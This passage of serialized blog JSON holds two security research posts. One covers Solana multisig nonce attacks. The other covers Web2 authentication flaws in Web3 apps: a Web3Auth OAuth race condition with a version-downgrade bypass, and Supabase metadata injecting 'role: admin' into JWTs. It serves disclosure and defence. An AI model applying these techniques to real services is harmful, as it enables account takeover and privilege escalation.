memcmp:",{"type":23,"tag":134,"props":68446,"children":68447},{"style":179},[68448],{"type":28,"value":463},{"type":23,"tag":134,"props":68450,"children":68451},{"class":136,"line":827},[68452,68457,68462,68466,68471],{"type":23,"tag":134,"props":68453,"children":68454},{"style":162},[68455],{"type":28,"value":68456},"          bytes:",{"type":23,"tag":134,"props":68458,"children":68459},{"style":162},[68460],{"type":28,"value":68461}," AUTHORITY_PUBLIC_KEY",{"type":23,"tag":134,"props":68463,"children":68464},{"style":179},[68465],{"type":28,"value":720},{"type":23,"tag":134,"props":68467,"children":68468},{"style":264},[68469],{"type":28,"value":68470},"toBase58",{"type":23,"tag":134,"props":68472,"children":68473},{"style":179},[68474],{"type":28,"value":670},{"type":23,"tag":134,"props":68476,"children":68477},{"class":136,"line":836},[68478,68483,68488],{"type":23,"tag":134,"props":68479,"children":68480},{"style":162},[68481],{"type":28,"value":68482},"          offset:",{"type":23,"tag":134,"props":68484,"children":68485},{"style":205},[68486],{"type":28,"value":68487}," 8",{"type":23,"tag":134,"props":68489,"children":68490},{"style":179},[68491],{"type":28,"value":687},{"type":23,"tag":134,"props":68493,"children":68494},{"class":136,"line":859},[68495],{"type":23,"tag":134,"props":68496,"children":68497},{"style":179},[68498],{"type":28,"value":24864},{"type":23,"tag":134,"props":68500,"children":68501},{"class":136,"line":868},[68502],{"type":23,"tag":134,"props":68503,"children":68504},{"style":179},[68505],{"type":28,"value":36697},{"type":23,"tag":134,"props":68507,"children":68508},{"class":136,"line":877},[68509],{"type":23,"tag":134,"props":68510,"children":68511},{"style":179},[68512],{"type":28,"value":68513},"    ],\n",{"type":23,"tag":134,"props":68515,"children":68516},{"class":136,"line":946},[68517],{"type":23,"tag":134,"props":68518,"children":68519},{"style":179},[68520],{"type":28,"value":5328},{"type":23,"tag":134,"props":68522,"children":68523},{"class":136,"line":954},[68524],{"type":23,"tag":134,"props":68525,"children":68526},{"style":179},[68527],{"type":28,"value":1021},{"type":23,"tag":24,"props":68529,"children":68530},{},[68531,68533,68541],{"type":28,"value":68532},"Unfortunately this is not sufficient",{"type":23,"tag":14943,"props":68534,"children":68535},{},[68536],{"type":23,"tag":31,"props":68537,"children":68539},{"href":29117,"ariaDescribedBy":68538,"dataFootnoteRef":7,"id":29119},[14950],[68540],{"type":28,"value":1214},{"type":28,"value":68542},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":23,"tag":87,"props":68544,"children":68546},{"className":128,"code":68545,"language":127,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[68547],{"type":23,"tag":92,"props":68548,"children":68549},{"__ignoreMap":7},[68550,68616,68632,68715],{"type":23,"tag":134,"props":68551,"children":68552},{"class":136,"line":137},[68553,68557,68561,68565,68570,68574,68578,68582,68586,68590,68594,68598,68603,68607,68612],{"type":23,"tag":134,"props":68554,"children":68555},{"style":151},[68556],{"type":28,"value":154},{"type":23,"tag":134,"props":68558,"children":68559},{"style":162},[68560],{"type":28,"value":42871},{"type":23,"tag":134,"props":68562,"children":68563},{"style":168},[68564],{"type":28,"value":171},{"type":23,"tag":134,"props":68566,"children":68567},{"style":179},[68568],{"type":28,"value":68569}," system_instruction",{"type":23,"tag":134,"props":68571,"children":68572},{"style":168},[68573],{"type":28,"value":660},{"type":23,"tag":134,"props":68575,"children":68576},{"style":264},[68577],{"type":28,"value":31618},{"type":23,"tag":134,"props":68579,"children":68580},{"style":179},[68581],{"type":28,"value":272},{"type":23,"tag":134,"props":68583,"children":68584},{"style":168},[68585],{"type":28,"value":277},{"type":23,"tag":134,"props":68587,"children":68588},{"style":162},[68589],{"type":28,"value":18950},{"type":23,"tag":134,"props":68591,"children":68592},{"style":179},[68593],{"type":28,"value":242},{"type":23,"tag":134,"props":68595,"children":68596},{"style":168},[68597],{"type":28,"value":277},{"type":23,"tag":134,"props":68599,"children":68600},{"style":162},[68601],{"type":28,"value":68602},"ledger_base_pubkey",{"type":23,"tag":134,"props":68604,"children":68605},{"style":179},[68606],{"type":28,"value":242},{"type":23,"tag":134,"props":68608,"children":68609},{"style":205},[68610],{"type":28,"value":68611},"42",{"type":23,"tag":134,"props":68613,"children":68614},{"style":179},[68615],{"type":28,"value":1021},{"type":23,"tag":134,"props":68617,"children":68618},{"class":136,"line":147},[68619,68623,68628],{"type":23,"tag":134,"props":68620,"children":68621},{"style":151},[68622],{"type":28,"value":154},{"type":23,"tag":134,"props":68624,"children":68625},{"style":162},[68626],{"type":28,"value":68627}," message",{"type":23,"tag":134,"props":68629,"children":68630},{"style":168},[68631],{"type":28,"value":35353},{"type":23,"tag":134,"props":68633,"children":68634},{"class":136,"line":185},[68635,68640,68644,68649,68653,68657,68661,68665,68669,68673,68677,68681,68686,68690,68694,68699,68703,68707,68711],{"type":23,"tag":134,"props":68636,"children":68637},{"style":597},[68638],{"type":28,"value":68639},"        Message",{"type":23,"tag":134,"props":68641,"children":68642},{"style":168},[68643],{"type":28,"value":660},{"type":23,"tag":134,"props":68645,"children":68646},{"style":264},[68647],{"type":28,"value":68648},"new_with_nonce",{"type":23,"tag":134,"props":68650,"children":68651},{"style":179},[68652],{"type":28,"value":272},{"type":23,"tag":134,"props":68654,"children":68655},{"style":264},[68656],{"type":28,"value":1073},{"type":23,"tag":134,"props":68658,"children":68659},{"style":179},[68660],{"type":28,"value":924},{"type":23,"tag":134,"props":68662,"children":68663},{"style":162},[68664],{"type":28,"value":43181},{"type":23,"tag":134,"props":68666,"children":68667},{"style":179},[68668],{"type":28,"value":22539},{"type":23,"tag":134,"props":68670,"children":68671},{"style":597},[68672],{"type":28,"value":41520},{"type":23,"tag":134,"props":68674,"children":68675},{"style":179},[68676],{"type":28,"value":272},{"type":23,"tag":134,"props":68678,"children":68679},{"style":168},[68680],{"type":28,"value":277},{"type":23,"tag":134,"props":68682,"children":68683},{"style":162},[68684],{"type":28,"value":68685},"evil_nonce_authority",{"type":23,"tag":134,"props":68687,"children":68688},{"style":179},[68689],{"type":28,"value":14646},{"type":23,"tag":134,"props":68691,"children":68692},{"style":168},[68693],{"type":28,"value":277},{"type":23,"tag":134,"props":68695,"children":68696},{"style":162},[68697],{"type":28,"value":68698},"nonce_account",{"type":23,"tag":134,"props":68700,"children":68701},{"style":179},[68702],{"type":28,"value":242},{"type":23,"tag":134,"props":68704,"children":68705},{"style":168},[68706],{"type":28,"value":277},{"type":23,"tag":134,"props":68708,"children":68709},{"style":162},[68710],{"type":28,"value":68685},{"type":23,"tag":134,"props":68712,"children":68713},{"style":179},[68714],{"type":28,"value":329},{"type":23,"tag":134,"props":68716,"children":68717},{"class":136,"line":221},[68718,68722,68727],{"type":23,"tag":134,"props":68719,"children":68720},{"style":168},[68721],{"type":28,"value":338},{"type":23,"tag":134,"props":68723,"children":68724},{"style":264},[68725],{"type":28,"value":68726},"serialize",{"type":23,"tag":134,"props":68728,"children":68729},{"style":179},[68730],{"type":28,"value":856},{"type":23,"tag":24,"props":68732,"children":68733},{},[68734,68736,68743],{"type":28,"value":68735},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":23,"tag":31,"props":68737,"children":68740},{"href":68738,"rel":68739},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[35],[68741],{"type":28,"value":68742},"logs the fee-payer here",{"type":28,"value":720},{"type":23,"tag":87,"props":68745,"children":68747},{"className":15985,"code":68746,"language":315,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[68748],{"type":23,"tag":92,"props":68749,"children":68750},{"__ignoreMap":7},[68751,68810,68866],{"type":23,"tag":134,"props":68752,"children":68753},{"class":136,"line":137},[68754,68758,68763,68767,68771,68776,68780,68785,68789,68793,68797,68801,68806],{"type":23,"tag":134,"props":68755,"children":68756},{"style":151},[68757],{"type":28,"value":29179},{"type":23,"tag":134,"props":68759,"children":68760},{"style":264},[68761],{"type":28,"value":68762}," print_config_show_authority",{"type":23,"tag":134,"props":68764,"children":68765},{"style":179},[68766],{"type":28,"value":272},{"type":23,"tag":134,"props":68768,"children":68769},{"style":151},[68770],{"type":28,"value":9119},{"type":23,"tag":134,"props":68772,"children":68773},{"style":179},[68774],{"type":28,"value":68775}," PrintConfig",{"type":23,"tag":134,"props":68777,"children":68778},{"style":168},[68779],{"type":28,"value":1777},{"type":23,"tag":134,"props":68781,"children":68782},{"style":162},[68783],{"type":28,"value":68784}," print_config",{"type":23,"tag":134,"props":68786,"children":68787},{"style":179},[68788],{"type":28,"value":242},{"type":23,"tag":134,"props":68790,"children":68791},{"style":151},[68792],{"type":28,"value":9119},{"type":23,"tag":134,"props":68794,"children":68795},{"style":179},[68796],{"type":28,"value":20335},{"type":23,"tag":134,"props":68798,"children":68799},{"style":168},[68800],{"type":28,"value":1777},{"type":23,"tag":134,"props":68802,"children":68803},{"style":162},[68804],{"type":28,"value":68805}," authority",{"type":23,"tag":134,"props":68807,"children":68808},{"style":179},[68809],{"type":28,"value":14272},{"type":23,"tag":134,"props":68811,"children":68812},{"class":136,"line":147},[68813,68817,68821,68825,68830,68834,68838,68843,68847,68852,68856,68861],{"type":23,"tag":134,"props":68814,"children":68815},{"style":189},[68816],{"type":28,"value":16461},{"type":23,"tag":134,"props":68818,"children":68819},{"style":162},[68820],{"type":28,"value":68784},{"type":23,"tag":134,"props":68822,"children":68823},{"style":179},[68824],{"type":28,"value":13225},{"type":23,"tag":134,"props":68826,"children":68827},{"style":162},[68828],{"type":28,"value":68829},"expert_mode",{"type":23,"tag":134,"props":68831,"children":68832},{"style":168},[68833],{"type":28,"value":23187},{"type":23,"tag":134,"props":68835,"children":68836},{"style":168},[68837],{"type":28,"value":12331},{"type":23,"tag":134,"props":68839,"children":68840},{"style":264},[68841],{"type":28,"value":68842},"pubkeys_equal",{"type":23,"tag":134,"props":68844,"children":68845},{"style":179},[68846],{"type":28,"value":272},{"type":23,"tag":134,"props":68848,"children":68849},{"style":162},[68850],{"type":28,"value":68851},"print_config",{"type":23,"tag":134,"props":68853,"children":68854},{"style":179},[68855],{"type":28,"value":13225},{"type":23,"tag":134,"props":68857,"children":68858},{"style":162},[68859],{"type":28,"value":68860},"signer_pubkey",{"type":23,"tag":134,"props":68862,"children":68863},{"style":179},[68864],{"type":28,"value":68865},", authority);\n",{"type":23,"tag":134,"props":68867,"children":68868},{"class":136,"line":185},[68869],{"type":23,"tag":134,"props":68870,"children":68871},{"style":179},[68872],{"type":28,"value":1098},{"type":23,"tag":24,"props":68874,"children":68875},{},[68876],{"type":28,"value":68877},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":23,"tag":24,"props":68879,"children":68880},{},[68881],{"type":28,"value":68882},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":23,"tag":24,"props":68884,"children":68885},{},[68886],{"type":28,"value":68887},"We can then use the following procedure.",{"type":23,"tag":4890,"props":68889,"children":68890},{},[68891,68896,68901,68906,68911],{"type":23,"tag":4894,"props":68892,"children":68893},{},[68894],{"type":28,"value":68895},"Ensure all signers have no durable nonce accounts.",{"type":23,"tag":4894,"props":68897,"children":68898},{},[68899],{"type":28,"value":68900},"The first signer signs and submits the transaction.",{"type":23,"tag":4894,"props":68902,"children":68903},{},[68904],{"type":28,"value":68905},"Wait two minutes for all recent blockhashes to expire.",{"type":23,"tag":4894,"props":68907,"children":68908},{},[68909],{"type":28,"value":68910},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":23,"tag":4894,"props":68912,"children":68913},{},[68914],{"type":28,"value":68915},"Repeat steps 2 to 4 for each signer",{"type":23,"tag":61,"props":68917,"children":68919},{"id":68918},"beyond",[68920],{"type":28,"value":68921},"Beyond",{"type":23,"tag":24,"props":68923,"children":68924},{},[68925],{"type":28,"value":68926},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":23,"tag":24,"props":68928,"children":68929},{},[68930,68932,68939],{"type":28,"value":68931},"For example, pcaversaccio wrote a tool to ",{"type":23,"tag":31,"props":68933,"children":68936},{"href":68934,"rel":68935},"https://github.com/pcaversaccio/safe-tx-hashes-util",[35],[68937],{"type":28,"value":68938},"validate Safe transaction hashes",{"type":28,"value":68940},". As the space matures, we hope more open source tooling will come to light.",{"type":23,"tag":17896,"props":68942,"children":68944},{"className":68943,"dataFootnotes":7},[17899],[68945,68950],{"type":23,"tag":61,"props":68946,"children":68948},{"className":68947,"id":14950},[17904],[68949],{"type":28,"value":17907},{"type":23,"tag":4890,"props":68951,"children":68952},{},[68953],{"type":23,"tag":4894,"props":68954,"children":68955},{"id":29860},[68956,68958,68966,68968],{"type":28,"value":68957},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":23,"tag":31,"props":68959,"children":68963},{"href":68960,"rel":68961,":style":68962},"https://twitter.com/PierreArowana",[35],"color: #B1D0EE; text-decoration: underline;",[68964],{"type":28,"value":68965},"@PierreArowana",{"type":28,"value":68967}," for pointing this out to me. ",{"type":23,"tag":31,"props":68969,"children":68971},{"href":29888,"ariaLabel":18010,"className":68970,"dataFootnoteBackref":7},[18012],[68972],{"type":28,"value":18015},{"type":23,"tag":2575,"props":68974,"children":68975},{},[68976],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":68978},[68979,68983,68984,68985],{"id":67175,"depth":147,"text":67178,"children":68980},[68981,68982],{"id":67186,"depth":185,"text":67189},{"id":67465,"depth":185,"text":67468},{"id":68186,"depth":147,"text":68189},{"id":68918,"depth":147,"text":68921},{"id":14950,"depth":147,"text":17907},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":68990,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":68991,"description":68992,"date":68993,"author":68994,"image":68995,"isFeatured":15,"onBlogPage":15,"tags":68997,"body":68998,"_type":2586,"_id":70696,"_source":2588,"_file":70697,"_stem":70698,"_extension":2591},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[30696,30695],{"src":68996},"/posts/web2-in-web3/title.jpg",[31636],{"type":20,"children":68999,"toc":70678},[69000,69005,69010,69015,69041,69047,69052,69058,69079,69085,69090,69097,69110,69140,69146,69190,69197,69203,69236,69257,69265,69284,69291,69296,69302,69307,69312,69337,69342,69348,69354,69375,69381,69408,69436,69443,69448,69453,69798,69802,69824,69830,69851,69865,69878,69883,69899,69904,70633,70638,70643,70648,70660,70664,70669,70674],{"type":23,"tag":24,"props":69001,"children":69002},{},[69003],{"type":28,"value":69004},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":23,"tag":24,"props":69006,"children":69007},{},[69008],{"type":28,"value":69009},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":23,"tag":24,"props":69011,"children":69012},{},[69013],{"type":28,"value":69014},"In this article, we will discuss three cases we discovered:",{"type":23,"tag":4890,"props":69016,"children":69017},{},[69018,69023,69036],{"type":23,"tag":4894,"props":69019,"children":69020},{},[69021],{"type":28,"value":69022},"OAuth Logic Vulnerability on an Authentication Provider",{"type":23,"tag":4894,"props":69024,"children":69025},{},[69026,69028,69034],{"type":28,"value":69027},"Supabase ",{"type":23,"tag":92,"props":69029,"children":69031},{"className":69030},[],[69032],{"type":28,"value":69033},"user_metadata",{"type":28,"value":69035}," misconfiguration",{"type":23,"tag":4894,"props":69037,"children":69038},{},[69039],{"type":28,"value":69040},"OAuth abuse in localhost development environment",{"type":23,"tag":61,"props":69042,"children":69044},{"id":69043},"abusing-oauth-authentication-logic",[69045],{"type":28,"value":69046},"Abusing OAuth Authentication Logic",{"type":23,"tag":24,"props":69048,"children":69049},{},[69050],{"type":28,"value":69051},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":23,"tag":9072,"props":69053,"children":69055},{"id":69054},"web3auth-introduction",[69056],{"type":28,"value":69057},"Web3Auth Introduction",{"type":23,"tag":24,"props":69059,"children":69060},{},[69061,69068,69070,69077],{"type":23,"tag":31,"props":69062,"children":69065},{"href":69063,"rel":69064},"https://web3auth.io/",[35],[69066],{"type":28,"value":69067},"Web3Auth",{"type":28,"value":69069}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":23,"tag":31,"props":69071,"children":69074},{"href":69072,"rel":69073},"https://oauth.net/2/",[35],[69075],{"type":28,"value":69076},"OAuth2",{"type":28,"value":69078}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":23,"tag":9072,"props":69080,"children":69082},{"id":69081},"web3auth-authentication-flow",[69083],{"type":28,"value":69084},"Web3Auth Authentication flow",{"type":23,"tag":24,"props":69086,"children":69087},{},[69088],{"type":28,"value":69089},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":23,"tag":24,"props":69091,"children":69092},{},[69093],{"type":23,"tag":1116,"props":69094,"children":69096},{"alt":50084,"src":69095},"/posts/web2-in-web3/auth-flow.png",[],{"type":23,"tag":24,"props":69098,"children":69099},{},[69100,69102,69108],{"type":28,"value":69101},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":23,"tag":92,"props":69103,"children":69105},{"className":69104},[],[69106],{"type":28,"value":69107},"client_id",{"type":28,"value":69109},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":23,"tag":24,"props":69111,"children":69112},{},[69113,69115,69121,69123,69129,69131,69138],{"type":28,"value":69114},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":23,"tag":92,"props":69116,"children":69118},{"className":69117},[],[69119],{"type":28,"value":69120},"/start",{"type":28,"value":69122}," validates the ",{"type":23,"tag":92,"props":69124,"children":69126},{"className":69125},[],[69127],{"type":28,"value":69128},"redirect_url",{"type":28,"value":69130}," against the configured ",{"type":23,"tag":31,"props":69132,"children":69135},{"href":69133,"rel":69134},"https://web3auth.io/docs/dashboard-setup/whitelisting",[35],[69136],{"type":28,"value":69137},"whitelist",{"type":28,"value":69139}," to ensure it matches one of the allowed URLs.",{"type":23,"tag":9072,"props":69141,"children":69143},{"id":69142},"in-transit-cryptography",[69144],{"type":28,"value":69145},"In-transit Cryptography",{"type":23,"tag":24,"props":69147,"children":69148},{},[69149,69151,69158,69160,69166,69168,69174,69176,69181,69183,69188],{"type":28,"value":69150},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":23,"tag":31,"props":69152,"children":69155},{"href":69153,"rel":69154},"https://en.wikipedia.org/wiki/Key_(cryptography)",[35],[69156],{"type":28,"value":69157},"cryptographic key",{"type":28,"value":69159}," is derived from the ",{"type":23,"tag":92,"props":69161,"children":69163},{"className":69162},[],[69164],{"type":28,"value":69165},"sessionId",{"type":28,"value":69167},"  sent in the ",{"type":23,"tag":92,"props":69169,"children":69171},{"className":69170},[],[69172],{"type":28,"value":69173},"GET",{"type":28,"value":69175}," parameter to the ",{"type":23,"tag":92,"props":69177,"children":69179},{"className":69178},[],[69180],{"type":28,"value":69120},{"type":28,"value":69182},". Since the ",{"type":23,"tag":92,"props":69184,"children":69186},{"className":69185},[],[69187],{"type":28,"value":69165},{"type":28,"value":69189}," can be controlled, it allows us to send and receive data from the session server.",{"type":23,"tag":24,"props":69191,"children":69192},{},[69193],{"type":23,"tag":1116,"props":69194,"children":69196},{"alt":50084,"src":69195},"/posts/web2-in-web3/image-2.png",[],{"type":23,"tag":9072,"props":69198,"children":69200},{"id":69199},"race-condition",[69201],{"type":28,"value":69202},"Race Condition",{"type":23,"tag":24,"props":69204,"children":69205},{},[69206,69208,69213,69215,69221,69223,69228,69230,69235],{"type":28,"value":69207},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":23,"tag":92,"props":69209,"children":69211},{"className":69210},[],[69212],{"type":28,"value":69120},{"type":28,"value":69214}," and later used in the ",{"type":23,"tag":92,"props":69216,"children":69218},{"className":69217},[],[69219],{"type":28,"value":69220},"/end",{"type":28,"value":69222}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":23,"tag":92,"props":69224,"children":69226},{"className":69225},[],[69227],{"type":28,"value":69120},{"type":28,"value":69229},") but before  use (",{"type":23,"tag":92,"props":69231,"children":69233},{"className":69232},[],[69234],{"type":28,"value":69220},{"type":28,"value":20220},{"type":23,"tag":24,"props":69237,"children":69238},{},[69239,69241,69248,69250,69255],{"type":28,"value":69240},"To exploit this ",{"type":23,"tag":31,"props":69242,"children":69245},{"href":69243,"rel":69244},"https://portswigger.net/web-security/race-conditions",[35],[69246],{"type":28,"value":69247},"race condition",{"type":28,"value":69249},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":23,"tag":92,"props":69251,"children":69253},{"className":69252},[],[69254],{"type":28,"value":69165},{"type":28,"value":69256}," but with modified malicious parameters.",{"type":23,"tag":24,"props":69258,"children":69259},{},[69260],{"type":23,"tag":2532,"props":69261,"children":69262},{},[69263],{"type":28,"value":69264},"What can be modified to achieve something impactful?",{"type":23,"tag":24,"props":69266,"children":69267},{},[69268,69270,69276,69278,69283],{"type":28,"value":69269},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":23,"tag":92,"props":69271,"children":69273},{"className":69272},[],[69274],{"type":28,"value":69275},"redirect_uri",{"type":28,"value":69277}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":23,"tag":92,"props":69279,"children":69281},{"className":69280},[],[69282],{"type":28,"value":69107},{"type":28,"value":720},{"type":23,"tag":24,"props":69285,"children":69286},{},[69287],{"type":23,"tag":1116,"props":69288,"children":69290},{"alt":50084,"src":69289},"/posts/web2-in-web3/image-3.png",[],{"type":23,"tag":24,"props":69292,"children":69293},{},[69294],{"type":28,"value":69295},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":23,"tag":9072,"props":69297,"children":69299},{"id":69298},"patch-bypass",[69300],{"type":28,"value":69301},"Patch & Bypass",{"type":23,"tag":24,"props":69303,"children":69304},{},[69305],{"type":28,"value":69306},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":23,"tag":24,"props":69308,"children":69309},{},[69310],{"type":28,"value":69311},"To bypass the fix we were able to change the version in the URL:",{"type":23,"tag":16158,"props":69313,"children":69314},{},[69315,69326],{"type":23,"tag":4894,"props":69316,"children":69317},{},[69318,69324],{"type":23,"tag":92,"props":69319,"children":69321},{"className":69320},[],[69322],{"type":28,"value":69323},"https://auth.web3auth.io/v8/start",{"type":28,"value":69325}," (latest version)",{"type":23,"tag":4894,"props":69327,"children":69328},{},[69329,69335],{"type":23,"tag":92,"props":69330,"children":69332},{"className":69331},[],[69333],{"type":28,"value":69334},"https://auth.web3auth.io/v6/start",{"type":28,"value":69336}," (bypass)",{"type":23,"tag":24,"props":69338,"children":69339},{},[69340],{"type":28,"value":69341},"We reported this issue, and it was addressed just as quickly!",{"type":23,"tag":61,"props":69343,"children":69345},{"id":69344},"supabase-metadata-manipulation",[69346],{"type":28,"value":69347},"Supabase metadata manipulation",{"type":23,"tag":9072,"props":69349,"children":69351},{"id":69350},"supabase-authentication-flow",[69352],{"type":28,"value":69353},"Supabase Authentication flow",{"type":23,"tag":24,"props":69355,"children":69356},{},[69357,69364,69366,69373],{"type":23,"tag":31,"props":69358,"children":69361},{"href":69359,"rel":69360},"https://supabase.com/docs/guides/auth",[35],[69362],{"type":28,"value":69363},"Supabase",{"type":28,"value":69365}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":23,"tag":31,"props":69367,"children":69370},{"href":69368,"rel":69369},"https://jwt.io/",[35],[69371],{"type":28,"value":69372},"JWT",{"type":28,"value":69374}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":23,"tag":9072,"props":69376,"children":69378},{"id":69377},"jwt-verification",[69379],{"type":28,"value":69380},"JWT verification",{"type":23,"tag":24,"props":69382,"children":69383},{},[69384,69386,69391,69392,69398,69400,69406],{"type":28,"value":69385},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":23,"tag":92,"props":69387,"children":69389},{"className":69388},[],[69390],{"type":28,"value":69033},{"type":28,"value":10458},{"type":23,"tag":92,"props":69393,"children":69395},{"className":69394},[],[69396],{"type":28,"value":69397},"identity_data",{"type":28,"value":69399},", in a signup request by manipulating the input inside the ",{"type":23,"tag":92,"props":69401,"children":69403},{"className":69402},[],[69404],{"type":28,"value":69405},"\"data\": {}",{"type":28,"value":69407}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":23,"tag":24,"props":69409,"children":69410},{},[69411,69413,69419,69420,69426,69428,69434],{"type":28,"value":69412},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":23,"tag":92,"props":69414,"children":69416},{"className":69415},[],[69417],{"type":28,"value":69418},"\"role\": \"admin\"",{"type":28,"value":12601},{"type":23,"tag":92,"props":69421,"children":69423},{"className":69422},[],[69424],{"type":28,"value":69425},"\"email_verified\": true",{"type":28,"value":69427},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":23,"tag":92,"props":69429,"children":69431},{"className":69430},[],[69432],{"type":28,"value":69433},"\"test\": \"test\"",{"type":28,"value":69435},", enabling us to inject arbitrary data into the final JWT token.",{"type":23,"tag":24,"props":69437,"children":69438},{},[69439],{"type":23,"tag":1116,"props":69440,"children":69442},{"alt":50084,"src":69441},"/posts/web2-in-web3/image-4.png",[],{"type":23,"tag":24,"props":69444,"children":69445},{},[69446],{"type":28,"value":69447},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":23,"tag":24,"props":69449,"children":69450},{},[69451],{"type":28,"value":69452},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":23,"tag":87,"props":69454,"children":69456},{"className":30858,"code":69455,"language":30860,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[69457],{"type":23,"tag":92,"props":69458,"children":69459},{"__ignoreMap":7},[69460,69485,69497,69566,69615,69663,69708,69731,69768,69784,69791],{"type":23,"tag":134,"props":69461,"children":69462},{"class":136,"line":137},[69463,69467,69472,69476,69481],{"type":23,"tag":134,"props":69464,"children":69465},{"style":151},[69466],{"type":28,"value":30872},{"type":23,"tag":134,"props":69468,"children":69469},{"style":264},[69470],{"type":28,"value":69471}," parseSupaBase",{"type":23,"tag":134,"props":69473,"children":69474},{"style":179},[69475],{"type":28,"value":272},{"type":23,"tag":134,"props":69477,"children":69478},{"style":162},[69479],{"type":28,"value":69480},"token",{"type":23,"tag":134,"props":69482,"children":69483},{"style":179},[69484],{"type":28,"value":14272},{"type":23,"tag":134,"props":69486,"children":69487},{"class":136,"line":147},[69488,69493],{"type":23,"tag":134,"props":69489,"children":69490},{"style":189},[69491],{"type":28,"value":69492},"    